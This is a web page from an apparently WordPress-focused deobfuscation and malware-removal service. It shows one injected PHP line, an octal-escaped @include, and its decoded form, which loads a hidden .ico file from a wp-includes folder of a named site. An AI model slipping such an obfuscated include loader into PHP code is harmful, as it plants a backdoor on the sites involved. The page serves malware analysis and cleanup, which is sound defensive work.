Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php /*1d9a6*/ @include "\057h\157m\145/\164o\055t\155/\167w\167/\157n\172o\162o\056j\160/\167p\055i\156c\154u\144e\163/\142l\157c\153s\057q\165e\162y\055p\141g\151n\141t\151o\156-\160r\145v\151o\165s\057.\065a\0602\1438\071b\056i\143o"; /*1d9a6*/...



Obfuscated php code

<?php /*1d9a6*/

@include "\057h\157m\145/\164o\055t\155/\167w\167/\157n\172o\162o\056j\160/\167p\055i\156c\154u\144e\163/\142l\157c\153s\057q\165e\162y\055p\141g\151n\141t\151o\156-\160r\145v\151o\165s\057.\065a\0602\1438\071b\056i\143o";

/*1d9a6*/

Decoded(de-Obfuscated) php code

<?php

/*1d9a6*/
@(include "/home/to-tm/www/onzoro.jp/wp-includes/blocks/query-pagination-previous/.5a02c89b.ico");
/*1d9a6*/

Malware detection & removal plugin for WordPress

（C）2020 Wordpress Doctor All rights reserved.